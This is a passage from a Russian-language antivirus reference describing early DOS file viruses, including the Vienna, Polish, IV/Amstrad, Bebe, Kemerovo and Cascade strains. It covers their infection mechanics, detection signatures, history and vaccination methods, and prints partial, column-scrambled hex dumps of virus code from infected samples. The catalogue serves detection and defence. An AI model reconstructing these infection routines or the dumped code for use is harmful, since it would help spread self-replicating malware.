"обмана" вирусов можно развить в нескольких направлениях. Другими словами, она может быть обобщена до некоторого универсального приема использования особенностей кодировки соответствующих частей вируса. Кроме того, целесообразно создать каталог BAT (имя может быть произвольным) и записать в него пакеты для вызова часто используемых программ в виде BATCH-файлов. В этом случае достаточно указать в PATH только этот каталог, что вполне безопасно, поскольку ни одного файла типа COM в нем нет. Этот способ, наряду с повышением безопасности, ускоряет вызов программ, позволяет настроить среду и передать стандартные параметры. Поэтому его стоит использовать как можно шире. Второй способ вакцинирования состоит в записи в последние четыре бита времени создания файла четырех единиц для всех файлов типа COM. Это соответствует невозможному количеству секунд (62) во времени создания (последние четыре бита хранят половинное количество секунд). Именно так вирус помечает зараженные им файлы. Правда, здесь существует опасность, что при обработке тем или иным фагом последний может принять чистые файлы за зараженные, однако эта проблема носит скорее теоретический, чем практический характер. Фрагмент дампа дрозофилы, зараженной вирусом C-648 +-------- команда передачи управления телу +----+ вируса 000: E90D009090909090 9090909090909090 ................ 010: 020: 030: 040: 050: 060: ... 1E0: 1F0: 200: 210: 220: 230: *** 260: 270: 280: 290: +- ****** -------- J-сигнатура (звездочками поме| чены изменяемые вирусом байты) 51BA0903FC8BF281 C60A00BF0001B903 Q............... 00F3A48BF2B430CD 213C007503E9C701 ......0.!<.u.... 06B42FCD21899C00 008C84020007BA5F ../.!.........._ 009003D6B41ACD21 06568E062C00BF00 .......!.V..,... 005E5681C61A00AC B90080F2AEB90400 .^V............. ACAE75EDE2FA5E07 89BC16008BFE81C7 ..u...^......... .. .. .. .. .. .. .. .. .. .. .. .. .. 00BA1F009003D6CD 211EB41A8B940000 ........!....... 8E9C0200CD211F59 33C033DB33D233F6 .....!.Y3.3.3.3. BF00015733FFC2FF FF8000ED251B0121 ...W3.......%..! 002000909090E90D 002A2E434F4D001C . .......*.COM.. 002006504154483D 473634382E434F4D . .PATH=G648.COM 2020202020202020 2020202020202020 последующие строки идентичны предыдущей *** 2020202020202020 033F3F3F3F3F3F3F .??????? 3F434F4D030500EE 0200000000201B01 ?COM......... .. 2100100000004736 34382E434F4D004D !.....G648.COM.M 000000EAF0FF00F0 ........ Фрагмент дампа дрозофилы, "уничтоженной" вирусом С-648 000: EAF0FF00F0909090 9090909090909090 ... .. .. .. .. .. .. .. .. ................ .. .. .. .. .. 4.1.2. Штамм С-623 (Vienna-X) Вирус С-623 отличается от C-648 наличием обработки ненормальных окончаний, что обеспечивает подавление сообщений вида Write protect error writing device <лог.имя.устр.> Abort, Retry, Ignore, Fail? при попытке записи на защищенную дискету. Кроме того, в уничтожаемые модули записывается переход по адресу C800:0000. Возможно, автор предполагал, что в результате будет выполнена форматизация диска. Уничтоженные модули можно искать по сигнатуре EA000000C8. Данный штамм содержит подпрограмму обработки ошибок ввода/вывода. Поэтому при попытке заражения программы, расположенной на защищенной дискете, не выдается соответствующего сообщения MS DOS. Исторические сведения. Передан автору Д.Н.Лозинским. Обнаружен в конце 1989 г. Программные средства защиты. См. прил.1. Фрагмент дрозофилы, зараженной вирусом C-623 000: 010: 020: 030: 040: 050: 060: 070: 080: 090: 0A0: 0B0: 0C0: 0D0: ... 230: 240: 250: 260: 270: E9A0009090909090 8000ED251B012100 2A2E434F4D001C00 3632332E434F4D00 2020202020202020 2020202020202020 2020202020202020 3F3F3F3F3F3F3F3F 00000000201B0121 332E434F4D000000 050E2551BA1001FC B90300F3A48BF2B4 A80106B42FCD2189 21899C8F008C8491 .. .. .. .. 8B54068B4C0480E1 21B43ECD21B80143 CD211EB41A8B148E 948F008E9C9100CD D233F6BF00015733 9090909090909090 2000909090E9A000 0E04504154483D47 0000202020202020 2020202020202020 2020202020202020 2020202020202003 434F4D030700EE02 0010000000473632 0000EA000000C856 8BF283C60ABF0001 30CD213C007503E9 1C8C4402B82435CD 0007B824258BD681 .. .. .. .. E080C91FB80157CD 8B4C08BA1F0003D6 5C02CD21B824258B 211F5933C033DB33 FFC2FFFFB000CF ................ ...%..!. ....... *.COM.....PATH=G 623.COM... . ????????COM..... .... ..!.....G62 3.COM..........V ..%Q............ ........0.!<.u.. ..../.!...D..$5. !..........$%... .. .. .. .. .T..L.........W. !.>.!..C.L...... .!......\..!.$%. ........!.Y3.3.3 .3....W3....... 4.1.3. Штамм C-627 (Vienna-Y) В штамме 627 исключен блок уничтожения программы. Исторические сведения. Передан автору Д.Н.Лозинским. Обнаружен в конце 1989 г. Программные средства защиты. См. прил.1. 4.2. Польская группа Польская группа включает несколько штаммов, стратегия заражения которых основана на поиске файлов с расширением COM в текущем каталоге и использовании для отметки зараженных файлов не значение 62 с. в поле секунд, а 13 месяца. Она включает два почти идентичных вируса С-507 и С-534, из которых в нашу страну попал только второй. Анализ кода создает впечатление о том, что основные идеи заимствованы у венского вируса, онако это впечатление может быть и ложным. В связи с используемым методом отметки зараженных файлов группа практически полностью уничтожена. 4.2.1. Вирус С-534 (Toothless є Беззубый, W13) В коде вируса C-534 прослеживаются явные аналогии с кодом вируса С-648, однако чувствуется более низкая квалификация автора. Возможно, автор пользовался комментированным листингом вируса С-648 (по-видимому, австрийского происхождения). Против этого предположения говорит тот факт, что стратегия заражения существенно упрощена, а признак зараженности файла изменен на более заметный, хотя при создании штаммов чаще наблюдаются попытки "улучшить" эти участки кода. Формально вирус С-534 є файловый нерезидентный вирус, поражающий файлы типа СОМ. Функционирует на версиях MS DOS, начиная с 2.0. Длина 534 (216h) байта. Заражаются только .COM-файлы длиной от 256(100h) до FA00h байт в текущем и корневом каталогах. Заражение происходит при запуске инфицированной программы, при этом заражается не более одного файла. При выполнении зараженной программы управление передается на начало вируса. Вирус восстанавливает первые 3 байта основной программы, ищет незараженный файл с раcширением СОМ и заражает его. Это ведет к потере рабоспособности EXE файлов, записанных с расширением COM. Работоспособность таких файлов может быть восстановлена путем применения соответствующего фага. Стратегия заражения є поиск файла-жертвы в текущем и корневом каталогах. Поражает СOMMAND.COM. При заражении он дописывается в конец программы и одновременно вставляет в первые три байта COMфайла команду перехода на тело вируса. При этом размер файла увеличивается на 534 байта, дата создания файла и атрибуты файла изменяются (вирус снимает атрибут READ ONLY и из-за ошибки в тексте не восстанавливает его; кроме того, в дате подставляется 13 (0Dh) месяц). Заражение выполняется однократно. Минимальный размер заражаемых файлов є 256 байтов (100h), максимальный є чуть меньше 64К (FA00h). При попытке заражения у файла проверяется значение месяца последней его модификации и, если оно равно 0Dh (13-й месяц), то файл не заражается. Очевидно, что данный метод предотвращения повторного заражения является вариантом метода, использованного в "базовом" вирусе С-648 с той разницей, что вместо секунд используется месяц. Как и С-648, вирус C-534 не проверяет, находится заражаемый файл на защищенной дискете или нет, и в этом случае выдается обычное сообщение операционной системы: Write protect error writing device <лог.имя.устр.> Abort, Retry, Ignore, Fail? При заражении EXE-файлов с расширением COM наблюдаются те же проблемы, что и для вируса С-648. Исторические замечания. Обнаружен в Польше в ноябре 1988 г. В Киеве появился приблизительно в октябре 1989 г. Первым фагом для данного вируса, распространяемым бесплатно, вероятно был полифаг Д.Н.Лозинского. Методы и программные средства защиты. Методы защиты аналогичны методам защиты от вируса С-648. Рекомендуется использовать программы, указанные в прил.1. Фрагмент дампа программы DUMY0400.COM, зараженной вирусом C-534 100 110 *** E98D019090909090 9090909090909090 ................ 9090909090909090 9090909090909090 ................ Последующие строки идентичны предыдущей *** 280 290 2A0 2B0 2C0 ... 3E0 3F0 400 410 420 430 440 450 460 470 480 490 9090909090909090 90909090909090C3 50BEF5038BD681C6 0000FCB90300BF00 01F3A48BFAB430CD 213C007503E93F01 BA2C0003D78BDAB4 1ACD21BD00008BD7 81C20700B90300B4 4ECD21E90400B44F .. .. .. .. .. .. .. .. 00438B8D2200CD21 BA8000B41ACD2158 BF000157C3EBFE90 E98D015C3F3F3F3F 3F3F3F3F2E434F4D 00545259302E434F 4D004D0000000020 00E4812400000000 00073F3F3F3F3F3F 3F3F434F4D030900 000046510F0920E4 8124009001000054 5259302E434F4D00 4D0000006F736F66 7479726967687420 4D6963726F736F66 7479726967687420 4D6963726F736F66 7479726967687420 4D6963726F736F66 7479726967687420 4D6963726F736F66 7479726967687420 4D6963726F736F66 ................ P............... ......0.!<.u..?. .,........!..... ........N.!....O .. .. .. .. .. .C.."..!......!X ...W.......\???? ????.COM.TRY0.CO M.M.... ...$.... ..????????COM... ..FQ....$.....T RY0.COM.M...osof tyright Microsof tyright Microsof tyright Microsof tyright Microsof tyright Microsof 4.2.2. Вирус С-507 (13 месяц-Б, Toothless-B є Беззубый-Б, W13-B) Данный штамм представляет собой более отлаженный вариант предыдущего вируса. Ищет заражаемые файлы только в текущем каталоге. Другие подробности неизвестны. Вирус детектируется полидетектором SCAN и входит в версии списка П.Хоффман, начиная с датированной 10 августа 1990 г. 4.3. Группа IV (Amstrad) Данная группа в настоящее время состоит из трех представителей с длинами 847, 740 и 345 байт. На расстоянии 2-3 байта от начала в этих вирусах стоят буквы "IV". Из этой группы SCAN опознает только IV-847, называя его "Amstrad Virus [Amst]". П. Хоффман описывает ряд других, неизвестных в нашей стране штаммов. В их числе штаммы с длиной 277 и 299 байтов, которые аналогичны вирусу С-345, однако текст сообщения исключен и вместо кода, обеспечивающего выдачу сообщения, вставлен код, создающий ошибку четности (Parity error) приблизительно в 50% случаев запуска программы. Вирусы этой группы являются одними из наиболее простых файловых вирусов. Они заражают только COM-файлы в текущем каталоге, причем при заражении не предусмотрено ни сохранение даты, ни контроль длины. Заражение производится приписываением тела вируса к началу файла. Таким образом, в зараженной программе вирус располагается в начале, что встречается довольно редко. Существенной разницы в функционировании штаммов нет: в данном случае большая длина вируса не означает усложнения механизма его работы. Все три штамма заражают только файлы с расширение "COM" в текущем каталоге, причем правильность расширения не проверяется. Как и в случае с вирусом С-648, это приводит к повреждению EXEфайлов с расширением COM: после заражения файлы становятся неработоспособными и их запуск обычно ведет к зависанию системы. Данное повреждение может быть устранено "выкусыванием" вируса из программы. 4.3.1. C-345 (Pixel є Пиксель) Получив управление, данный вирус переписывает собственное тело в область памяти, отстоящую от области загрузки данной программы на 64К. Это действие может привести к нарушению работы системы в слу- чае наложения копии на резидентные программы. Затем вирус выполняет поиск в текущем подкаталоге файла типа с расширением COM. Если такой файл обнаружен, то он считывается в память, располагаясь непосредственно за копией вируса (таким образом вся область памяти практически представляет собой образ зараженной вирусом программы). Если второй и третий байты считанной программы принимают значения 49h и 56h ("IV"), то вирус считает, что данная программа уже заражена. В противном случае в файл, из которого была считана программа, "сбрасывается" область оперативной памяти, начиная с тела вируса. За одно выполнение зараженной программы вирус предпринимает попытку заражения всех файлов в текущем каталоге. Очевидно, что процесс заражения прекращается, если все файлы в текущем каталоге уже заражены. При каждом вызове зараженной программы вирус увеличивает значение специального счетчика, а затем выполняет проверку его содержимого. Если значение счетчика равно 5, то вирус считывает значение таймера, и, если оно нечетно, то на экран выводится сообщение Program sick error: Call doctor or buy PIXEL for cure description; и выполнение программы блокируется. Это сообщение содержится в теле вируса в незашифрованном виде. Поэтому иногда этот вирус называют PIXEL. После завершения своей работы вирус сдвигает тело программы, вместе с которой он первоначально был загружен в память, на количество байт, равное длине вируса, и передает управление на начало программы. Исторические замечания. Исходный текст данного вируса был опубликован в Греции журналом Пиксель (Pixel). В СССР попал на вирусной дискете В.Бончева. Первым фагом для данного вируса был, по-видимому, полифаг Д.Н.Лозинского. Неформальные названия. Распространенным неформальным названием этого вируса является Pixel. Д.Н.Лозинский называет данный вирус IV-345. Программные средства защиты. См. прил.1. Фрагмент дампа дрозофилы, зараженной вирусом С-345 000: 010: 020: 030: 040: 050: 060: ... 0D0: 0E0: 0F0: 100: 110: 120: 130: 140: 150: 160: 170: EB3B4956012A2E43 0000000000000000 0000000000000000 0000000000000000 0500108EC0FE0604 0190F3A4BA1101B4 00B44ECD21724BBA .. .. .. .. D801B409CD21CD20 7369636B20657272 646F63746F72206F 58454C20666F7220 6372697074696F6E 0033FFF3A45B2EC7 0D012EFF2E0B011E FFFF2BCEF3A42EC7 02018BC32EFF2E00 CD20333435205669 6279746573202124 4F4D000000000000 0000000000000000 0000000000000000 0000000000508CC8 01BE000133FFB959 1ACD21BA0501B906 2F01B8023DCD218B .. .. .. .. 50726F6772616D20 6F723A43616C6C20 7220627579205049 6375726520646573 0A0D24BE3702B922 060B0100002E8C06 07BE5902BF0001B9 06000100012E8C1E 01B409BA0901CD21 7275732033343520 .;IV.*.COM...... ................ ................ .............P.. ............3..Y ..........!..... ..N.!rK./...=.!. .. .. .. .. .....!. Program sick error:Call doctor or buy PI XEL for cure des cription..$.7.." .3...[.......... ..........Y..... ..+............. ...............! . 345 Virus 345 bytes !$ 4.3.2. C-847 (Amstrad) Вирус практически полностью аналогичен предыдущему, за исключением того, что проверка на зараженность программы выполняется по третьему и четвертому байтам и буфер для чтения/записи размещен в теле вируса. Исторические замечания. В СССР попал в сентябре 1989 г. на вирусной дискете В.Бончева. Первые случаи заражения отмечены в Москве в марте 1990 г. Вирус можно отнести к числу самых старых, простейших вирусов. Вирус Amstrad был передан McAfee в ноябре 1989 г. Джиан Луз (Jean Luz), однако был известен в Испании и Португалии по меньшей мере за год до этого. Этот штамм не заражает COMMAND.COM и содержит "самозванную" рекламу компьютеров фирмы Amstrad. Неформальные названия. Д.Н.Лозинский называет данный вирус IV847. Полидетектор SCAN называет данный вирус "Amstrad Virus [Amst]". Программные средства защиты. См. прил.1. Фрагмент дампа дрозофилы, зараженной вирусом С-847 000: 010: 020: 030: 040: 050: 060: ... 0C0: 0D0: 0E0: 0F0: 100: 110: 120: ... 300: 310: 320: 330: 340: 350: 360: EB14904956012A2E 0100000000008CC8 01BE000133FFB94F CD21BA0601B90600 02B8023DCD21A314 B9FFFFB43FCD2105 3E52034956742133 .. .. .. .. CD21CD2050726F67 206572726F723A43 6F72206F72206275 666F722063757265 74696F6E0A0D24BE A433FF2EC7060E01 FF2E0E011E07BE4F .. .. .. .. 508D46AE509A4387 7518FF76088D865E 0583C4068946FE3D 03E8A0D0837EFE01 0075288D46AE509A 09BA0901CD21CD20 7320383437206279 434F4D004F040000 0500108EC0FE0605 01F3A4BA5F02B41A B44ECD217260BA7D 018BD8061FBA4F03 4F032EA312013E81 C98BD12E8B1E1401 .. .. .. .. 72616D207369636B 616C6C20646F6374 7920504958454C20 2064657363726970 2402B92B0033FFF3 00002E8C0610012E 04803E0501017504 .. .. .. .. 751883C4049A8085 FF508D46AE50E8A8 FFFF74053D010075 7403E947FE837E08 9487751883C402B4 3834372056697275 746573202124 ...IV.*.COM.O... ................ ....3..O...._... .!.......N.!r`.} ...=.!........O. ....?.!.O.....>. >R.IVt!3........ .. .. .. .. .!. Program sick error:Call doct or or buy PIXEL for cure descrip tion..$.$..+.3.. .3.............. .......O..>...u. .. .. .. .. P.F.P.C.u....... u..v...^.P.F.P.. .....F.=..t.=..u .....~..t..G..~. .u(.F.P...u..... .....!. 847 Viru s 847 bytes !$ 4.3.3. C-740 (Canser є Рак) C-740 не контролирует и своего наличия в модуле, в связи с чем заражение происходит многократно. Исторические замечания. В СССР попал в сентябре 1989 г. на вирусной дискете В.Бончева. Неформальные названия. Д.Н.Лозинский называет данный вирус IV740. Программные средства защиты. См. прил.1. Фрагмент дампа дрозофилы, зараженной вирусом С-740 000: EB14904956012A2E 434F4D00E4030000 010: 0000000000008CC8 0500108EC0FE0605 020: 01BE000133FFB9E4 00F3A4BAF401B41A ...IV.*.COM..... ................ ....3........... 030: 040: ... 220: 230: 240: 250: 260: 270: 280: 290: 2A0: 2B0: 2C0: 2D0: 2E0: 2F0: 300: CD21BA0601B90600 02B8023DCD21A314 .. .. .. .. 4B2D83C40489865C 833E1C1E007516B8 83C4020BC07406C7 FF8D46AE509A6A86 8D865EFF509A6A86 8D46AE508D865EFF 8654FF3DFEFF7503 B65CFFE8794183C4 7503E9DFFE0BC074 361A1E8D865EFF50 58FF3DFFFF7503E9 D8898656FF8D46AE 020BC075B409BA09 2056697275732037 202124 B44ECD217257BA12 018BD8061FBAE402 .. .. .. .. FF833E1A1E00741D 2B4B509A94877518 061C1E0100FFB65C 751883C404FF7606 751883C404FF7608 50E8F60083C40689 E9F9FEFF361C1EFF 04898656FF3DFFFF 2C837E08007526FF E8544183C4048986 BAFE3D01001BC0F7 509A0487751883C4 01CD21CD20373430 3430206279746573 .!.......N.!rW.. ...=.!.......... .. .. .. .. K-.....\..>...t. .>...u..+KP...u. .....t.........\ ..F.P.j.u.....v. ..^.P.j.u.....v. .F.P..^.P....... .T.=..u.....6... .\..yA.....V.=.. u......t,.~..u&. 6....^.P.TA..... X.=..u....=..... ...V..F.P...u... ...u......!. 740 Virus 740 bytes !$ 4.4. Вирус E-1961 (Yankee Doodle-2 є Янки Дудль-2) В настоящее время этот вирус можно считать "вымершим" и информация о нем представляет лишь исторический интерес. Вирус является первым болгарским вирусом в котором использован стандартный метод заражения EXE-файлов, при реализации которого, впрочем, был допущен ряд ошибок и неточностей. При заражении длина файла увеличивается на 1961 байт. Вирус не является резидентным. При запуске зараженной программы вирус ищет жертву в текущем каталоге и если попытка заражения удалась, то играет мелодию Янки Дудль. Исторические замечания. Исходный текст вируса распространялся на вирусной дискете В.Бончева. Известен автор вируса. В СССР отмечены лишь отдельные случаи заражения. Методы и средства защиты. См. прил.1. 4.5. Вирус C-1024 (Bebe є Бебе) Неформальное название данного вируса связано с выдаваемым вирусом на экран сообщением. Идея, лежащая в основе данного вируса, является модификацией использованной в одном из самых старых вирусов є Cookie (см. ниже). Формально С-1004 представляет собой простой файловый нерезидентный вирус, заражающий файлы, имеющие расширение COM в текущем каталоге. СОММАND.COM заражается как обычный СОМ-файл. COM-файлы заражаются однократно. При заражении длина файла не проверяется. Свое тело вирус дописывает в конец файла с выравниванием начала на границу параграфа. В зараженных файлах изменены первые 14 байтов, причем измененные байты содержат группу (PUSH AX; Є ; JMP FAR Virus_Start;) команд, а не единственную команду JMP, как это бывает обычно. Поэтому зараженная программа всегда начинается с строки "50 0E 8C C8 2E 01 06 0C 01 EA". Выше было отмечено, что первую команду JMP, подставляемую большинством файловых вирусов, дописывающих свое тело в конец COM-файла, можно рассматривать как вырожденный сегмент. В данном случае первые 14 байт представляют собой настоящий сегмент тела вируса и фактически мы имеем дело с файловым вирусом, состоящим из двух сегментов. Длина вируса 1004 (3ECh) байта совпадает с минимальным приращением заражаемых файлов. Файлы с атрибутом READ ONLY не заражаются. Вирус имеет несколько необычную реализацию фазы проявления, создающую иллюзию, что мы имеем дело с резидентным вирусом: при запуске первой зараженной программы он копирует часть своего тела в область векторов прерываний по адресу 0000:01CE и устанавливает на нее прерывание 1Ch (таймер). Тем самым создается резидентная программа, "висящая" на таймере, которая через некоторое время выдает на экран заставку +-------- VIRUS ! ------+ | Skagi "bebe" > | +-----------------------+ и переходит в состояние ожидания ввода с клавиатуры. При разработке вируса предполагалось, что, если с клавиатуры вводится слово "bebe", то на экране появляется сообщение "Fig Tebe !". Последнее дает определенное представление об уровне культуры автора, даже если рассматривать это как своего рода юмор. Однако реально программа зацикливается из-за ошибки. В результате после выдачи сообщения компьютер зависает и его приходится перегружать, причем сделать это удается только клавишей RESET. Уровень программирования, в целом, невысок. В частности, вирус не восстанавливает DTA, что может привести к зависанию компьютера. Аналогично, затирание части таблицы векторов прерываний может приводить к зависанию или нарушению функционирования программ. Помимо приведенных выше строк, образующих заставку и ответ, тело вируса содержит строку "*.COM". Исторические замечания. Очередной вирус отечественной разработки. Обнаружен летом 1990 г. Неформальные названия. Полидетектор SCAN данный вирус не детектирует. Программные средства защиты. Полифаг Aidstest версий, начиная с 44. Детектирование можно выполнять по сигнатуре, приведенной в прил.1. Фрагмент дампа дрозофилы, зараженной вирусом С-1004 000: 500E8CC82E01060C 01EA580011002400 P.........X...$. ... .. .. .. .. .. .. .. .. .. .. .. .. 060: 9000000000000000 начало тела вируса -> 582EA3CC01581E06 M.......X....X.. 070: 5053515256579C8C C88ED88EC08D360E PSQRVW........6. 080: 0006C43ECA01B90E 00F3A40706B42FCD ...>........../. 090: 212E891E2400062E 8F06260007B41A8D !...$.....&..... 0A0: 162800CD21B44E8D 161E00B93F00CD21 .(..!.N.....?..! 0B0: 7303E9D0008D1628 0083C21EB8023DCD s......(......=. 0C0: 21A31C007303E9AF 00B43F8D160E00B9 !...s.....?..... 0D0: 0E008B1E1C00CD21 7303E993008D360E .......!s.....6. 0E0: 008D3E0000B90A00 FCF3A67503E98000 ..>........u.... 0F0: 8D1E28008B5F1A8A C381C30001B104D3 ..(.._.......... 100: EB240F3C00740143 891E0C00C7060A00 .$.<.t.C........ 110: 5800B8004233C933 D28B1E1C00CD21B4 X...B3.3......!. 120: 408D160000B90E00 8B1E1C00CD218D1E @............!.. 130: 28008B571A33C9B8 00428B1E1C00CD21 (..W.3...B.....! ... .. .. .. .. .. .. .. .. .. .. .. .. 1B0: 018BFE8D0EEC032B CEFCF3A433DB8EDB .......+....3... 1C0: BB70008D06F002FA 8907C747020000FB .p.........G.... 1D0: 9D5F5E5A595B5807 1FEA0001DD21C9CD ._^ZY[X......!.. 1E0: CDCDCDCDCD205649 5255532120CDCDCD ..... VIRUS! ... 1F0: CDCDCDBBBA20536B 6167692022626562 ..... Skagi "beb 200: 6522203E20202020 20BAC8CDCDCDCDCD e" > ....... 210: CDCDCDCDCDCDCDCD CDCDCDCDCDCDCDBC ................ 220: BA20202020204669 6720546562652021 . Fig Tebe ! 230: 2020202020BA0000 0000000000000000 ........... 240: 0000000000000000 0000000000000000 ................ *** последующие строки идентичны предыдущей *** 2B0: 2C0: 2D0: 2E0: ... 3D0: 3E0: 3F0: 0000000000000000 4542450D50B8C800 0C03E661E80800E4 74272E8A052E3A05 .. .. .. .. 518D362602BF7406 59BFB407F3A55F5E EA0358EA00000000 0000301230121C42 E6428AC4E642E461 6124FCE66158C3B9 7500E2F9C3E4608A .. .. .. .. F3A559BF1407F3A5 5A595B58071F2EA3 302A0000 ..........0.0..B EBE.P....B...B.a ...a....a$..aX.. t'....:.u.....`. .. .. .. .. .. Q.6&..t...Y..... Y....._^ZY[X.... ..X.....0*.. 4.6. Вирус C-257 (Kemerovo-Reset є Кемеровская перезагрузка) Неформальное название связано с тем, что, подобно вирусу С-648, данный вирус, наряду с заражением файлов, вызывает перезагрузку операционной системы. Формально С-257 є это файловый нерезидентный вирус, заражающий файлы с расширением COM в текущем оглавлении. Заражает командный процессор. Заражает COM-файлы текущего оглавления длиной до 64767 (FCFFh) байтов при запуске инфицированной программы. Файлы заражаются однократно. Копирует себя в конец файла и изменяет его первые 4 байта ( XCHG AX,DX; JMP Loc_Virus ). Длина файлов при заражении увеличивается на 257 байт. Вирус имеет ряд проявлений. Во-первых, в зараженных программах портится дата создания файла. Во-вторых, при некоторых значениях текущего времени запуск зараженной программы ведет к перезагрузке компьютера. Вирус не блокирует сообщения о защите от записи. Зараженные программы теряют способность обрабатывать параметры. Код вируса достаточно примитивен и содержит много ошибок и неточностей. В частности, вирус не закрывает открываемые файлы (по одному на заражаемую программу). При этом открыть их может очень много (в зависимости от количества файлов в текущем каталоге). При просмотре дампа зараженной программы видна текстовая строка "*.COM". Исторические замечания. Происхождение неизвестно. Обнаружен летом 1990 г. Неформальные названия. Полидетектор SCAN данный вирус не детектирует. Программные средства защиты. Полифаг Aidstest версий, начиная с 44. Находятся в стадии разработки. Детектирование можно выполнять по сигнатуре, приведенной в прил.1. Фрагмент дампа дрозофилы, зараженной вирусом С-257 000: 010: 020: ... 0C0: 0D0: 0E0: 0F0: 100: 110: 92E81500D8A10800 A30A00B8004CCD21 D681C6C10089D82D .. .. .. .. B80242CD2172D15A 40CD21CC139090E9 008E2A2E434F4D00 80FA0A7DE2909090 0000FFFF00000000 0000000000000000 8B1E0A00891E0800 125BE800005A5289 040089C7B90400A4 .. .. .. .. 5283EA04B90001B4 3B1092E81500B840 B43ECD21B42CCD21 90909090909090EA 0000000000000000 00 ................ .....L.!.[...ZR. .......-........ .. .. .. .. .. ..B.!r.ZR....... @.!.....;......@ ..*.COM..>.!.,.! ...}............ ................ ......... 5. РЕЗИДЕНТНЫЕ ФАЙЛОВЫЕ ВИРУСЫ, ОБНАРУЖЕННЫЕ В СССР 5.1. Группа "Буквопад" Данная группа берет начало с вируса RС-1701 и в настоящее время включает ряд вирусов с длиной порядка 1700 байтов, имеющих характерный визуальный эффект "опадания" букв на экране. Большинство штаммов однократно заражает файлы типа COM, однако автор встречал упоминания о штаммах, многократно заражающих файлы. 5.1.1. Вирус RС-1701 (Cascade -- Буквопад) Данный вирус, по-видимому, является родоначальником группы. Его название связано с тем, что в зараженной им системе при определенных условиях начинается "падение" букв с верхних строк экрана вниз, сопровождаемое негромким звуком, напоминающим шорох, и блокировкой клавиатуры. Длина вируса 1701 (6А5h). Формально вирус RС1701 -- файловый резидентный вирус, поражающий файлы типа СОМ. Функционирует на версиях MS DOS, начиная с 2.0 (в теле вируса имеется проверка). Распространяется как на PC/XT, так и на PC/AT. Стратегия заражения -- при запуске файлов на выполнение. Файлы заражаются однократно. Максимальная длина заражаемого файла составляет 63803 (F93Bh) байта. Подобно вирусу С-648, при заражении RС-1701 дописывается в конец программы и одновременно вставляет в первые три байта COM-файла команду перехода на тело вируса. При этом размер файла увеличивается на 1701 байт, дата создания файла и атрибуты файла не меняются. Так же, как и вирус С-648, вирус RC-1701 не проверяет, находится ли заражаемая программа (которая загружается на выполнение) на защищенной дискете или нет, и пытается выполнить запись на защищенную от записи дискету. При этом операционная система выдает сообщение: Write protect error writing device <лог.имя.устр.> Abort, Retry, Ignore, Fail? Этот эффект можно использовать для обнаружения данного и некоторых других резидентных вирусов, поскольку на зараженной ими машине попытка загрузить программу с защищенной дискеты всегда приводит к выдаче указанного выше сообщения. В то же время, как уже указывалось, это сообщение часто воспринимается неопытными пользователями не как предупреждение о попытке выполнить какие-то несанкциониро- ванные действия, а как просьба снять защитную наклейку. Механизм функционирования данного вируса существенно отличается от С-648. В частности, для того, чтобы различать зараженные и незараженные файлы используетсял не время создания, а первые три байта файла. Кроме того, вирус по BIOS определяет фирму-изготовитель для того, чтобы в случае, если таковой является IBM, сразу передать управление зараженной программе, не проявляя никаких признаков активности (латентная фаза). Возможно, разработчик опасался санкций со стороны такой могущественной фирмы, как IBM. Однако при программировании указанной проверки допущена ошибка, и вирус заражает и ПЭВМ фирмы IBM. При запуске зараженной программы RС-1701 сначала проверяет, имеется ли уже резидентная копия данного вируса с помощью подфункции FF прерывания 21-4B (не используемой в версиях MS DOS 3.3 и ниже). Если нет, вирус инсталлируется в младших адресах свободной оперативной памяти, перехватывая прерывания 1Ch, 21h и 28h. В результате, при запуске любой программы вирус получает управление, проверяет, является ли запускаемая программа зараженной, и если нет, то заражает данную программу на диске. В процессе заражения файла вирус создает в памяти свою копию, кодирует ее и дописывает в конец заражаемого файла. Затем у файла изменяются первые 3 байта (организуется переход на начало тела вируса). При выполнении зараженной программы управление командой JMP (Е9h) передается на начало вируса. Первыми командами вирус узнает длину исходного файла и раскодирует свое тело. Затем вирус восстанавливает измененные им при заражении файла первые три байта программы, проверяет, заражен компьютер или нет, и если не заражен, то посредством манипуляций с MCB, PSP и 2 раза копируя себя, остается резидентным в памяти. Чтобы по окончании работы программы-вирусоносителя резидентная часть вируса не была удалена из памяти, данный вирус выполняет достаточно тонкую операцию, заключающуюся в сдвиге загруженной программы в область старших адресов, записи себя на освободившееся место и соответствующей корректировки системных блоков. Демонстрационный эффект привязан к часам, причем условие запуска выбрано так, что он проявляется в основном на машинах типа XT, при установленной дате. На AT визуальный эффект в обычных условиях не наблюдается, хотя вирус успешно размножается. По некоторым данным, он возникает при установке даты на третий квартал 1988 г. В указанных случаях, если загружается файл COMMAND.COM и он отмечен как зараженный, то вирус демаскируется, демонстрируя свое присутствие с помощью эффекта "падающих букв" на экране монитора. Сеансы опадания букв происходят через определенные интервалы времени. В процессе падения букв клавиатура блокируется и работать с компьютером становится невозможно до полного опадания букв на экране. При этом падение каждой буквы сопровождается характерным звуком, напоминающим шорох. На неспециалистов эта "шутка" часто производит впечатление аппаратной неисправности. Никаких других несанкционированных действий вирус не выполняет, поэтому в целом его деятельность можно было бы охарактеризовать как мелкое хулиганство, если бы не одно обстоятельство. При заражении некоторых системных программ, используемых преимущественно в AUTOEXEC.BAT, он может вызывать блокировку загрузки MS DOS. Эта блокировка, в частности, возникает на ПЭВМ ЕС-1840 при заражении обычно включаемой в AUTOEXEC.BAT программы E1840.COM (EDISK.COM), обеспечивающей разделение одного физического диска на два логических, по 360К каждый (А и С на одном дисководе, B и D на другом). Этот эффект не был предусмотрен разработчиком вируса, что, впрочем, не освобождает его от ответственности. Вместе с тем, ситуация с EС-1840 может служить наглядной иллюстрацией того факта, что при заражении системных программ любой вирус может создавать опасные побочные эффекты. Поэтому любые компьютерные вирусы следует немедленно удалять, как только они появились, даже если путем анализа или из надежных источников установлено, что никаких разрушительных действий они не выполняют. Резидентная часть вируса легко обнаруживается путем просмотра списка резидентных программ (с помощью утилит MAP, SMAP, MMAP и т.д.). Как видно из приводимой ниже карты памяти, в списке загруженных программ появляется дополнительная строка, описывающая безымянную программу, не имеющую имени родителя. Вирус RC-1701 является одним из первых вирусов, в которых предприняты определенные усилия, направленные на усложнение процесса его дизассемблирования. В частности, основная часть тела вируса шифруется с помощью операции "исключающее ИЛИ". Поэтому непосредственное дизассемблирование зараженной программы пакетным дизассемблером полной информации о структуре вируса не дает. Ключ шифровки зависит от длины файла, поэтому два зараженных файла разной длины не имеют общих подстрок, за исключением начала инсталлятора. По той же причине текстовых строк тело вируса не содержит. Исторические замечания. Данный вирус появился в Западной Европе в первой половине 1988 г. (см., например, статью [50]). Об этом также свидетельствуют даты создания версий программы SERUM. Вирус также распространялся на вирусной дискете В.Бончева в файле V1700.COM, датированном 16 января 1989 г. В СССР впервые был выделен в конце 